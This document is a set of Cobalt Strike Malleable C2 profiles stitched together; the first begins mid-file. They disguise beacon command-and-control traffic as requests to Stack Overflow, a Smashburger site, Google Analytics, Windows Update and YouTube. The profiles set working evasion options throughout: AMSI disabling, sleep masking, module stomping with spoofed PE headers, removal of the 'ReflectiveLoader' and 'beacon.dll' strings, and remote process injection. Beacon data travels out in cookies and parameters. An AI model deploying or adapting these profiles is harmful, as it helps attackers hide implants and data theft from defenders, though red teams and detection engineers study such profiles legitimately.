105 prepend "prov=";
106 append ";notice-ctt=!1";
107 append ";_ga=GA1.2.9924";
108 append ";_gat=1";
109 append ";__qca=P0-214459";
110
111 header "Cookie";
112
113
114 }
115
116
117 id {
118 base64url;
119 parameter "answertab";
120
121 }
122 }
123
124 server {
125
126 header "Cache-control" "private";
127 header "Content-Type" "text/html; charset=utf-8";
128 header "X-Frame-Origins" "SAMEORIGIN";
129 header "Strict-Transport-Security" "max-age=15552000";
130 header "Via" "1.1 varnish";
131 header "Age" "0";
132 header "Connection" "close";
133 header "X-Cache" "MISS";
134 header "X-Cache-Hits" "0";
135 header "Vary" "Fastly-SSL";
136
137
138 output {
139 base64url;
140 prepend "\n";
141 prepend "<link rel=\"shortcut icon\" href=\"https://cdn.sstatic.net/Sites/stackoverflow/img/favicon.ico?v=";
142 prepend "<title>c# 4.0 - C# Preprocessor Directives (#if and #endif) not working. Compilation error - Stack Overflow</title>";
143 prepend "<head>\n";
144 prepend "<html itemscope itemtype=\"http://schema.org/QAPage\" class=\"html__responsive\">\n";
145 prepend "<!DOCTYPE html>\n\n";
146 append "<h2 data-answercount=\"3\">
147 3 Answers
148 <span style=\"display:none;\" itemprop=\"answerCount\">3</span>
149 </h2>
150 <div>
151
152 <div id=\"tabs\">
153 <a href=\"/questions/32251816/c-sharp-preprocessor-directives-if-and-endif-not-working-compilation-error?answertab=active#tab-top\" data-nav-xhref=\"\" title=\"Answers with the latest activity first\" data-value=\"active\" data-shortcut=\"A\">
154 active</a>
155 <a href=\"/questions/32251816/c-sharp-preprocessor-directives-if-and-endif-not-working-compilation-error?answertab=oldest#tab-top\" data-nav-xhref=\"\" title=\"Answers in the order they were provided\" data-value=\"oldest\" data-shortcut=\"O\">
156 oldest</a>
157 <a class=\"youarehere is-selected \" href=\"/questions/32251816/c-sharp-preprocessor-directives-if-and-endif-not-working-compilation-error?answertab=votes#tab-top\" data-nav-xhref=\"\" title=\"Answers with the highest score first\" data-value=\"votes\" data-shortcut=\"V\">
158 votes</a>";
159
160 print;
161 }
162 }
163 }
164
165 http-stager {
166
167 set uri_x86 "/posts/32251817/ivc/7600";
168 set uri_x64 "/posts/32251816/ivc/7600";
169
170 client {
171 # header "Host" "stackoverflow.com";
172 header "Accept" "*/*";
173 header "Accept-Language" "en-US,en;q=0.5";
174 header "X-Requested-With" "XMLHTTPRequest";
175 header "Connection" "close";
176 }
177
178 server {
179 header "Cache-control" "no-cache, no-store, must-revalidate";
180 header "Content-Type" "text/plain";
181 header "X-Frame-Options" "SAMEORIGIN";
182 header "Via" "1.1 varnish";
183 header "Vary" "Fastly-SSL";
184
185 }
186
187
188 }
189
190 ###Malleable PE Options###
191 #always test spawnto and module stomp before using. My examples tested on Windows 10 Pro.
192
193 post-ex {
194
195 set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
196 set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
197
198 set obfuscate "true";
199
200 set smartinject "true";
201
202 set amsi_disable "true";
203
204 }
205
206 #used peclone on wwanmm.dll.
207 #don't use 'set image_size_xx' if using 'set module_xx'
208 stage {
209 set checksum "0";
210 set compile_time "25 Oct 2016 01:57:23";
211 set entry_point "170000";
212 # set image_size_x86 "6586368";
213 # set image_size_x64 "6586368";
214 # set name "WWanMM.dll";
215 set userwx "false";
216 set cleanup "true";
217 set sleep_mask "true";
218 set stomppe "true";
219 set obfuscate "true";
220 set rich_header "\xee\x50\x19\xcf\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xa3\x49\xe4\x9c\x84\x31\x77\x9c\x1e\xad\x86\x9c\xae\x31\x77\x9c\x1e\xad\x85\x9c\xa7\x31\x77\x9c\xaa\x31\x76\x9c\x08\x31\x77\x9c\x1e\xad\x98\x9c\xa3\x31\x77\x9c\x1e\xad\x84\x9c\x98\x31\x77\x9c\x1e\xad\x99\x9c\xab\x31\x77\x9c\x1e\xad\x80\x9c\x6d\x31\x77\x9c\x1e\xad\x9a\x9c\xab\x31\x77\x9c\x1e\xad\x87\x9c\xab\x31\x77\x9c\x52\x69\x63\x68\xaa\x31\x77\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
221
222
223 #module stomp
224
225 set module_x86 "wwanmm.dll";
226 set module_x64 "wwanmm.dll";
227
228 transform-x86 {
229 prepend "\x90\x90\x90";
230 strrep "ReflectiveLoader" "";
231 strrep "beacon.dll" "";
232 }
233
234 transform-x64 {
235 prepend "\x90\x90\x90";
236 strrep "ReflectiveLoader" "";
237 strrep "beacon.x64.dll" "";
238 }
239 }
240 process-inject {
241
242 set allocator "NtMapViewOfSection";
243
244 set min_alloc "16700";
245
246 set userwx "false";
247
248 set startrwx "true";
249
250 transform-x86 {
251 prepend "\x90\x90\x90";
252 }
253 transform-x64 {
254 prepend "\x90\x90\x90";
255 }
256
257 execute {
258 CreateThread "ntdll!RtlUserThreadStart";
259 CreateThread;
260 NtQueueApcThread;
261 CreateRemoteThread;
262 RtlCreateUserThread;
263 }
264 }
0 #trevorforget
1 #xx0hcd
2
3 set sleeptime "30000";
4 set jitter "20";
5 set useragent "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)";
6 set dns_idle "8.8.8.8";
7 set maxdns "235";
8
9 #custom cert
10 #https-certificate {
11 # set keystore "your_store_file.store";
12 # set password "your_store_pass";
13 #}
14
15 http-config {
16 # set headers "Server, Content-Type, Cache-Control, Connection";
17 # header "Content-Type" "text/html;charset=UTF-8";
18 # header "Connection" "close";
19 # header "Cache-Control" "max-age=2";
20 # header "Server" "nginx";
21 #set "true" if teamserver is behind redirector
22 set trust_x_forwarded_for "false";
23 }
24
25 http-get {
26
27 set uri "/us/ky/louisville/312-s-fourth-st.html";
28
29 client {
30
31 # header "Host" "locations.smashburger.com";
32 header "Accept" "*/*";
33 header "Accept-Language" "en-US,en;q=0.5";
34 header "Referer" "https://locations.smashburger.com/us/ky/louisville.html";
35 header "Connection" "close";
36
37
38 metadata {
39 base64url;
40 header "Cookie";
41
42 }
43
44 }
45
46 server {
47
48 header "Content-Type" "text/html; charset=utf-8";
49 header "Etag" "\"57507b788e9ddc737aae615d6bcfc875\"";
50 header "Server" "AmazonS3";
51 header "Last-Modified" "on, 23 Oct 2017 20:50:49 GMT";
52 header "Vary" "Accept-Encoding";
53 header "X-Amz-Id-2" "1bGgvQSuG7u4T5qWKlikvJ//uxb9tKkDsbSDOV8YBxhKk64Ij3ygUMxZQ=";
54 header "X-Amz-Request-Id" "AC1346376B07D";
55 header "Connection" "close";
56
57
58 output {
59
60 base64url;
61
62 prepend "<!doctype html><html lang=\"en\" dir=\"ltr\" class=\"victoria\"><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"/><meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\"><link rel=\"dns-prefetch\" href=\"//www.yext-pixel.com\"><link rel=\"dns-prefetch\" href=\"//a.cdnmktg.com\"><link rel=\"dns-prefetch\" href=\"//a.mktgcdn.com\"><meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no\"><meta name=\"format-detection\" content=\"telephone=no\"><link rel=\"shortcut icon\" href=\"../../../images/locations.smashburger.com/favicon.png\"><meta name=\"description\" content=\"Come in to Smashburger at 312 S Fourth St in Louisville, KY and visit our family-friendly restaurant for burgers, salads, chicken sandwiches, hand-spun shakes & kids meals.\"><meta name=\"keywords\" content=\"\"><meta property=\"og:title\" content=\"Smashburger in 312 S Fourth St Louisville, KY | burgers, sandwiches, shakes\"><meta property=\"og:description\" content=\"Come in to Smashburger at 312 S Fourth St in Louisville, KY and visit our family-friendly restaurant for burgers, salads, chicken sandwiches, hand-spun shakes & kids meals.\"><meta property=\"og:image\" content=\"../../../images/locations.smashburger.com/logo.png\"><meta property=\"og:type\" content=\"website\"><meta property=\"og:url\" content=\"../../../us/ky/louisville/312-s-fourth-st.html\"><link rel=\"canonical\" href=\"https://locations.smashburger.com/us/ky/louisville/312-s-fourth-st.html\" /><title>Smashburger in 312 S Fourth St Louisville, KY | burgers, sandwiches, shakes</title><script type=\"text/javascript\">ref=";
63
64 append "../../../us.html\"><span class=\"c-bread-crumbs-name\">US</span></a></li><li class=\"c-bread-crumbs-item\"><a href=\"../../../us/ky.html\"><span class=\"c-bread-crumbs-name\">KY</span></a></li><li class=\"c-bread-crumbs-item\"><a href=\"../../../us/ky/louisville.html\"><span class=\"c-bread-crumbs-name\">Louisville</span></a></li><li class=\"c-bread-crumbs-item\"><span class=\"c-bread-crumbs-name\">312 S Fourth St</span></li></ol></nav></div><div class=\"l-container\"><ul class=\"c-social-links\"><li class=\"c-social-links-item\"><a href=\"https://twitter.com/smashburger\" class=\"c-social-link c-social-link-twitter\"><span class=\"sr-only\">Visit us on Twitter</span><svg class=\"icon icon-twitter icon-social\" aria-hidden=\"true\"><use xlink:href=\"../../../images/icons.svg#twitter\" /></svg></a></li><li class=\"c-social-links-item\"><a href=\"https://www.facebook.com/smashburger\" class=\"c-social-link c-social-link-facebook\"><span class=\"sr-only\">Visit us on Facebook</span><svg class=\"icon icon-facebook icon-social\" aria-hidden=\"true\"><use xlink:href=\"../../../images/icons.svg#facebook\" /></svg></a></li><li class=\"c-social-links-item\"><a href=\"https://www.instagram.com/smashburger/\" class=\"c-social-link c-social-link-instagram\"><span class=\"sr-only\">Visit us on Instagram</span><svg class=\"icon icon-instagram icon-social\" aria-hidden=\"true\"><use xlink:href=\"../../../images/icons.svg#instagram\" /></svg></a></li></ul><p class=\"c-copy-date \">&copy;<span id=\"js-copy-date\">2017</span> Smashburger Master LLC. All rights reserved.<script>(function(){var year = new Date().getFullYear(); document.getElementById('js-copy-date').innerText = year;})()</script>";
65
66
67 print;
68 }
69 }
70 }
71
72 http-post {
73
74 set uri "/OrderEntryService.asmx/AddOrderLine";
75
76 client {
77
78 # header "Host" "smashburger.alohaorderonline.com";
79 header "Accept" "*/*";
80 header "Accept-Language" "en-US,en;q=0.5";
81 header "X-Requested-With" "XMLHttpRequest";
82
83 output {
84 base64url;
85 print;
86
87
88
89 }
90
91
92 id {
93 base64url;
94 header "Cookie";
95
96 }
97
98 }
99
100 server {
101
102 header "Cache-Control" "private, max-age=0";
103 header "Content-Type" "application/json; charset=utf-8";
104 header "Vary" "Accept-Encoding";
105 header "Server" "Microsoft-IIS/7.5";
106 header "X-AspNet-Version" "4.0.30319";
107 header "X-Powered-By" "ASP.NET";
108 header "X-UA-Compatible" "IE=Edge";
109 header "X-Frame-Options" "SAMEORIGIN";
110 header "Connection" "close";
111
112
113 output {
114 netbios;
115
116 prepend "{\"d\":{\"__type\":\"Radiant.Order.Web.Order.CodeFiles.OrderEntryResults.OrderEntryResult\",\"Success\":true,\"Message\":\"\",\"ResultCode\":0,\"Order\":{\"__type\":\"Radiant.Order.Shared.Contracts.ServiceEntities.Order\",\"SiteId\":190,\"OrderId\":20106,\"SubTotalAmount\":3.9900,\"TaxAmount\":0,\"TotalAmount\":3.9900,\"BalanceDueAmount\":3.9900,\"Status\":1,\"NextItemLineNumber\":2,\"SpecialInstructions\":null,\"LineItems\":[{\"ItemLineNumber\":1,\"SalesItemId\":41099,\"Name\":\"Strawberry Shake\",\"Quantity\":1,\"UnitPrice\":3.9900,\"ExtendedPrice\":3.9900,\"NextModifierSequenceNumber\":1,\"SpecialInstructions=";
117
118 append "&OrderingForCustomerId\":null,\"CheckoutCount\":0,\"VehicleMake\":null,\"VehicleModel\":null,\"VehicleColor\":null,\"OrderType\":1,\"OrderSource\":0,\"Destination\":0,\"ShouldManualRelease\":false,\"SVCAmount\":0,\"TipAmount\":0,\"LoyaltyCardNumber\":null,\"Recipients\":[],\"DeliveryFeeSetFromDeliveryZone\":false,\"PromoId\":0,\"DeliveryFeeTaxApplied\":false,\"PosStatus\":18,\"PosOrderId\":null,\"ReferenceNumber\":null,\"CalculateTaxAndTotalTime\":0,\"ClientSessionID\":\"jdyfu2yh5eqsbhs343phqlct\",\"AddOrderTime\":0,\"ComboItems\":[],\"OrderDiscounts\":[],\"WebSalesGroupLineIds\":[],\"WebSalesGroupLineItemNumbers\":[],\"RecomputedSubTotal\":3.9900,\"CanUpdateOrder\":0,\"Metadata\":{\"ClientPlatform\":null,\"ClientVersion\":null},\"AssignLoyalty\":true,\"Payments\":[],\"NextOrderOfProcessing\":1,\"SiteNotes\":null,\"DiscountTotal\":0,\"ExternalOrderId\":null,\"Comps\":null,\"AppliedComps\":null,\"LoyaltyRewards\":[],\"HasDiscount\":false,\"GetDiscount\":0},\"SessionExpired\":false,\"ItemNotFound\":false,\"ItemNotFoundMessage\":null}}";
119
120 print;
121 }
122 }
123 }
124
125 http-stager {
126
127 set uri_x86 "/menus.aspx";
128 set uri_x64 "/Menus.aspx";
129
130
131 client {
132
133 # header "Host" "smashburger.alohaorderonline.com";
134 header "Accept" "*/*";
135 header "Accept-Language" "en-US,en;q=0.5";
136 header "Referer" "https://locations.smashburger.com/us/ky/louisville/312-s-fourth-st.html";
137 header "Connection" "close";
138
139 }
140
141 server {
142 header "Cache-Control" "private";
143 header "Content-Type" "text/html; charset=utf-8";
144 header "Location" "/Time.aspx";
145 header "Server" "Microsoft-IIS/7.5";
146 header "X-AspNet-Version" "4.0.30319";
147 header "Set-Cookie" "OrderMode=1; path=/";
148 header "X-Powered-By" "ASP.NET";
149 header "X-UA-Compatible" "IE=Edge";
150 header "X-Frame-Options" "SAMEORIGIN";
151 header "Connection" "close";
152
153 output {
154 print;
155 }
156
157 }
158
159
160 }
161
162 post-ex {
163
164 set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
165 set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
166
167 set obfuscate "true";
168
169 set smartinject "true";
170
171 set amsi_disable "true";
172
173 }
174
175 #use peclone on the dll you want to use, this example uses wwanmm.dll. You can also set the values manually.
176 #don't use 'set image_size_xx' if using 'set module_xx'. During testing it seemed to double the size of my payload causing module stomp to fail, need to test it out more though.
177 stage {
178 set checksum "0";
179 set compile_time "25 Oct 2016 01:57:23";
180 set entry_point "170000";
181 #set image_size_x86 "6586368";
182 #set image_size_x64 "6586368";
183 #set name "WWanMM.dll";
184 set userwx "false";
185 set cleanup "true";
186 set sleep_mask "true";
187 set stomppe "true";
188 set obfuscate "true";
189 set rich_header "\xee\x50\x19\xcf\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xa3\x49\xe4\x9c\x84\x31\x77\x9c\x1e\xad\x86\x9c\xae\x31\x77\x9c\x1e\xad\x85\x9c\xa7\x31\x77\x9c\xaa\x31\x76\x9c\x08\x31\x77\x9c\x1e\xad\x98\x9c\xa3\x31\x77\x9c\x1e\xad\x84\x9c\x98\x31\x77\x9c\x1e\xad\x99\x9c\xab\x31\x77\x9c\x1e\xad\x80\x9c\x6d\x31\x77\x9c\x1e\xad\x9a\x9c\xab\x31\x77\x9c\x1e\xad\x87\x9c\xab\x31\x77\x9c\x52\x69\x63\x68\xaa\x31\x77\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
190
191 #obfuscate beacon before sleep.
192 set sleep_mask "true";
193
194 #module stomp. Make sure the dll you use is bigger than your payload and test it with post exploit options to make sure everything is working.
195
196 set module_x86 "wwanmm.dll";
197 set module_x64 "wwanmm.dll";
198
199 transform-x86 {
200 prepend "\x90\x90\x90";
201 strrep "ReflectiveLoader" "";
202 strrep "beacon.dll" "";
203 }
204
205 transform-x64 {
206 prepend "\x90\x90\x90";
207 strrep "ReflectiveLoader" "";
208 strrep "beacon.x64.dll" "";
209 }
210
211 #can set a string in the .rdata section of the beacon dll.
212 #adds a zero-terminated string
213 #string "something";
214
215 #adds a string 'as-is'
216 #data "something";
217
218 #adds a wide (UTF-16LE encoded) string
219 stringw "something";
220 }
221
222
223 #controls process injection behavior
224 process-inject {
225
226 set allocator "NtMapViewOfSection";
227
228 set min_alloc "16700";
229
230 set userwx "false";
231
232 set startrwx "true";
233
234 transform-x86 {
235 prepend "\x90\x90\x90";
236 }
237 transform-x64 {
238 prepend "\x90\x90\x90";
239 }
240
241 execute {
242 CreateThread "ntdll!RtlUserThreadStart";
243 CreateThread;
244 NtQueueApcThread;
245 CreateRemoteThread;
246 RtlCreateUserThread;
247 }
248 }
0 # make our C2 look like a Google Web Bug
1 # https://developers.google.com/analytics/resources/articles/gaTrackingTroubleshooting
2 #
3 # Author: @armitagehacker
4
5 http-get {
6 set uri "/__utm.gif";
7 client {
8 parameter "utmac" "UA-2202604-2";
9 parameter "utmcn" "1";
10 parameter "utmcs" "ISO-8859-1";
11 parameter "utmsr" "1280x1024";
12 parameter "utmsc" "32-bit";
13 parameter "utmul" "en-US";
14
15 metadata {
16 netbios;
17 prepend "__utma";
18 parameter "utmcc";
19 }
20 }
21
22 server {
23 header "Content-Type" "image/gif";
24
25 output {
26 # hexdump pixel.gif
27 # 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
28 # 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
29 # 0000020 01 00 01 00 00 02 01 44 00 3b
30
31 prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
32 prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
33 prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
34
35 print;
36 }
37 }
38 }
39
40 http-post {
41 set uri "/___utm.gif";
42 client {
43 header "Content-Type" "application/octet-stream";
44
45 id {
46 prepend "UA-220";
47 append "-2";
48 parameter "utmac";
49 }
50
51 parameter "utmcn" "1";
52 parameter "utmcs" "ISO-8859-1";
53 parameter "utmsr" "1280x1024";
54 parameter "utmsc" "32-bit";
55 parameter "utmul" "en-US";
56
57 output {
58 print;
59 }
60 }
61
62 server {
63 header "Content-Type" "image/gif";
64
65 output {
66 prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
67 prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
68 prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
69 print;
70 }
71 }
72 }
73
74 # dress up the staging process too
75 http-stager {
76 server {
77 header "Content-Type" "image/gif";
78 }
79 }
0 # make our C2 look like a Google Web Bug
1 # https://developers.google.com/analytics/resources/articles/gaTrackingTroubleshooting
2 #
3 # Author: @armitagehacker
4
5 set sleeptime "5000";
6
7 http-get {
8 set uri "/___utm.gif";
9 client {
10 parameter "utmac" "UA-2202604-2";
11 parameter "utmcn" "1";
12 parameter "utmcs" "ISO-8859-1";
13 parameter "utmsr" "1280x1024";
14 parameter "utmsc" "32-bit";
15 parameter "utmul" "en-US";
16
17 metadata {
18 base64url;
19 prepend "__utma";
20 parameter "utmcc";
21 }
22 }
23
24 server {
25 header "Content-Type" "image/gif";
26
27 output {
28 # hexdump pixel.gif
29 # 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
30 # 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
31 # 0000020 01 00 01 00 00 02 01 44 00 3b
32 prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
33 prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
34 prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
35
36 print;
37 }
38 }
39 }
40
41 http-post {
42 set uri "/__utm.gif";
43 set verb "GET";
44 client {
45 id {
46 prepend "UA-220";
47 append "-2";
48 parameter "utmac";
49 }
50
51 parameter "utmcn" "1";
52 parameter "utmcs" "ISO-8859-1";
53 parameter "utmsr" "1280x1024";
54 parameter "utmsc" "32-bit";
55 parameter "utmul" "en-US";
56
57 output {
58 base64url;
59 prepend "__utma";
60 parameter "utmcc";
61 }
62 }
63
64 server {
65 header "Content-Type" "image/gif";
66
67 output {
68 prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
69 prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
70 prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
71 print;
72 }
73 }
74 }
75
76 # dress up the staging process too
77 http-stager {
78 set uri_x86 "/_init.gif";
79 set uri_x64 "/__init.gif";
80
81 server {
82 header "Content-Type" "image/gif";
83
84 output {
85 prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
86 prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
87 prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
88 print;
89 }
90 }
91 }
0 # Windows Updates Malleable C2 Profile
1 # Version: Cobalt Strike v4.1
2 # File: windows-updates.profile
3 # Author: @mohammadaskar2
4 # Inspired from : https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/microsoftupdate_getonly.profile
5
6
7 # Sleep and jitter
8 set sleeptime "60000";
9 set jitter "20";
10
11
12 # User agent
13 set useragent "Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.40";
14
15 # HTTPS certficate details
16
17 https-certificate {
18 set keystore "";
19 set password "";
20 }
21
22 # Stage Options
23
24 stage {
25 set userwx "false";
26 set stomppe "true";
27 set obfuscate "true";
28 set name "UpdatePolicy.dll";
29 set cleanup "true";
30 set sleep_mask "true";
31
32 # Values extracted using peclone agaist a Windows 10 version (build 19041.264) of UpdatePolicy.dll
33 set checksum "0";
34 set compile_time "26 Oct 2080 00:55:44";
35 set entry_point "135744";
36 set name "UpdatePolicy.dll";
37 set rich_header "\x26\x04\x91\x1a\x62\x65\xff\x49\x62\x65\xff\x49\x62\x65\xff\x49\x6b\x1d\x6c\x49\x17\x65\xff\x49\x76\x0e\xfc\x48\x66\x65\xff\x49\x76\x0e\xfb\x48\x6e\x65\xff\x49\x62\x65\xfe\x49\x4d\x60\xff\x49\x76\x0e\xfe\x48\x64\x65\xff\x49\x76\x0e\xff\x48\x63\x65\xff\x49\x76\x0e\xf6\x48\x27\x65\xff\x49\x76\x0e\xfa\x48\x7f\x65\xff\x49\x76\x0e\x02\x49\x63\x65\xff\x49\x76\x0e\x00\x49\x63\x65\xff\x49\x76\x0e\xfd\x48\x63\x65\xff\x49\x52\x69\x63\x68\x62\x65\xff\x49\x00\x00\x00\x00\x00\x00\x00\x00";
38
39 transform-x86 {
40
41 # Add some nops at the beginning of the DLL
42 prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90";
43
44
45 # Replace some strings in the DLL
46 strrep "ReflectiveLoader" "execute";
47 strrep "This program cannot be run in DOS mode" "";
48 strrep "beacon.dll" "";
49 }
50
51 transform-x64 {
52
53 # Add some nops at the beginning of the DLL
54 prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90";
55
56 # Replace some strings in the DLL
57 strrep "ReflectiveLoader" "execute";
58 strrep "beacon.x64.dll" "";
59 strrep "This program cannot be run in DOS mode" "";
60 }
61
62 # Add some strings to the DLL
63 stringw "GetUpdatePolicyName";
64 stringw "GetSkuUpdateManagementGroup";
65 stringw "GetAutoUpdatePolicy";
66 }
67
68 # Post Exploitation Options
69 post-ex {
70 # Use wusa.exe (Windows Update Standalone Installer) to inject the post exploitation job into
71 set spawnto_x86 "%windir%\\syswow64\\wusa.exe";
72
73 # Use wusa.exe (Windows Update Standalone Installer) to inject the post exploitation job into
74 set spawnto_x64 "%windir%\\sysnative\\wusa.exe";
75
76 # Change the permissions and content of our post-ex DLLs
77 set obfuscate "true";
78
79 # Pass key function pointers from Beacon to its child jobs
80 set smartinject "true";
81
82 # Disable AMSI in powerpick, execute-assembly, and psinject
83 set amsi_disable "true";
84
85 }
86
87 # SMB Beacon
88
89 set pipename "windows.update.manager##";
90 set pipename_stager "windows.update.manager###";
91
92
93 # Process Injection
94
95 process-inject {
96
97 set allocator "NtMapViewOfSection";
98
99 set min_alloc "18500";
100
101 set startrwx "false";
102 set userwx "false";
103
104 transform-x86 {
105 prepend "\x90\x90\x90\x90";
106 append "\x90\x90\x90\x90";
107 }
108
109 transform-x64 {
110 prepend "\x90\x90\x90\x90";
111 append "\x90\x90\x90\x90";
112 }
113
114 execute {
115
116 CreateThread "ntdll!RtlUserThreadStart+0x42";
117
118 CreateThread;
119
120 NtQueueApcThread-s;
121
122 CreateRemoteThread;
123
124 RtlCreateUserThread;
125 }
126 }
127
128
129 http-get {
130
131 set uri "/c/msdownload/update/others/2020/10/29136388_";
132
133 client {
134
135 header "Accept" "*/*";
136 header "Host" "download.windowsupdate.com";
137
138
139 metadata {
140 base64;
141 prepend "SESSION=";
142 header "Cookie";
143 }
144 }
145
146 server {
147
148 header "Server" "Microsoft-IIS/8.5";
149 header "X-Powered-By" "ASP.NET";
150 header "Content-Encoding" "application/vnd.ms-cab-compressed";
151
152 output {
153 print;
154 }
155 }
156 }
157
158 http-post {
159
160 set uri "/c/msdownload/update/others/2020/10/28986731_";
161
162 client {
163
164 header "Accept" "*/*";
165 header "Host" "download.windowsupdate.com";
166
167
168 id {
169 parameter "update_id";
170 }
171
172
173 output {
174 base64;
175 print;
176 }
177 }
178
179 server {
180
181 header "Server" "Microsoft-IIS/8.5";
182 header "X-Powered-By" "ASP.NET";
183 header "Content-Encoding" "application/vnd.ms-cab-compressed";
184
185 output {
186 print;
187 }
188 }
189 }
0 #youtube video profile
1 #xx0hcd
2
3 set sleeptime "30000";
4 set jitter "20";
5 set useragent "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)";
6 set dns_idle "8.8.8.8";
7 set maxdns "235";
8
9 #custom cert
10 #https-certificate {
11 # set keystore "your_store_file.store";
12 # set password "your_store_pass";
13 #}
14
15 http-config {
16 # set headers "Server, Content-Type, Cache-Control, Connection";
17 # header "Content-Type" "text/html;charset=UTF-8";
18 # header "Connection" "close";
19 # header "Cache-Control" "max-age=2";
20 # header "Server" "nginx";
21 #set "true" if teamserver is behind redirector
22 set trust_x_forwarded_for "false";
23 }
24
25 http-get {
26
27 set uri "/watch";
28
29 client {
30
31 header "Host" "www.youtube.com";
32 header "Accept" "*/*";
33 header "Accept-Language" "en-US,en;q=0.5";
34 header "Connection" "close";
35
36
37 metadata {
38 base64url;
39 header "Cookie";
40
41 }
42 #you know its a cat video...
43 parameter "v" "iRXJXaLV0n4";
44
45 }
46
47 server {
48
49 header "Expires" "Tue, 27 Apr 1971 19:44:06 EST";
50 header "P3P" "CP='This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info.'";
51 header "X-XSS-Protection" "1; mode=block; report=https://www.google.com/appserve/security-bugs/log/youtube";
52 header "Strict-Transport-Security" "max-age=31536000";
53 header "Cache-Control" "no-cache";
54 header "X-Frame-Options" "SAMEORIGIN";
55 header "X-Content-Type-Options" "nosniff";
56 header "Content-Type" "text/html; charset=utf-8";
57 header "Server" "YouTube Frontend Proxy";
58 header "Set-Cookie" "VISITOR_INFO1_LIVE=ibgrrHQDalM; path=/; domain=.youtube.com; expires=Thu, 28-Jun-2018 06:18:00 GMT; httponly";
59 header "Set-Cookie" "YSC=LT4ZGGSgKoE; path=/; domain=.youtube.com; httponly";
60 header "Alt-Svc" "quic=':443'; ma=2592000; v='41,39,38,37,35'";
61 header "Connection" "close";
62
63
64 output {
65
66 base64url;
67
68 prepend "<!doctype html><html style='font-size: 10px;font-family: Roboto, Arial, sans-serif; background-color: #fafafa;'><head><!-- Origin Trial Token, feature = Long Task Observer, origin = https://www.youtube.com, expires = 2017-04-17 --><meta http-equiv='origin-trial' data-feature='Long Task Observer' data-expires='2017-04-17'content='";
69
70
71 append "'><script>>var ytcfg = {d: function() {return (window.yt && yt.config_) || ytcfg.data_ || (ytcfg.data_ = {});},get: function(k, o) {return (k in ytcfg.d()) ? ytcfg.d()[k] : o;},set: function() {var a = arguments;if (a.length > 1) {ytcfg.d()[a[0]] = a[1];} else {for (var k in a[0]) {ytcfg.d()[k] = a[0][k];}}}};window.ytcfg.set('EMERGENCY_BASE_URL', '/error_204?level=ERROR\u0026client.name=1\u0026t=jserror\u0026client.version=2.20171026');</script><link rel='shortcut icon' href='/yts/img/favicon-vfl8qSV2F.ico' type='image/x-icon' ><link rel='icon' href='/yts/img/favicon_32-vflOogEID.png' sizes='32x32' ><link rel='icon' href='/yts/img/favicon_48-vflVjB_Qk.png' sizes='48x48' ><link rel='icon' href='/yts/img/favicon_96-vflW9Ec0w.png' sizes='96x96' ><link rel='icon' href='/yts/img/favicon_144-vfliLAfaB.png' sizes='144x144' ><title>YouTube</title><script ></script><script >if (window.ytcsi) {window.ytcsi.info('st', 442, '');}</script></body></html>";
72
73
74 print;
75 }
76 }
77 }
78
79 http-post {
80
81 set uri "/ptracking";
82 set verb "GET";
83
84 client {
85
86 header "Host" "www.youtube.com";
87 header "Accept" "*/*";
88 header "Accept-Language" "en";
89 header "Referer" "https://www.youtube.com/watch?v=iRXJXaLV0n4";
90
91 output {
92 base64url;
93
94 prepend "YSC=";
95 append ";&VISITOR_INFO1_LIVE=FlV1MiJMOzU";
96 header "Cookie";
97
98
99 }
100
101
102 id {
103 base64url;
104
105 parameter "cpn";
106
107 }
108
109 parameter "html5" "1";
110
111 }
112
113 server {
114
115 header "Strict-Transport-Security" "max-age=31536000";
116 header "X-XSS-Protection" "1; mode=block; report=https://www.google.com/appserve/security-bugs/log/youtube";
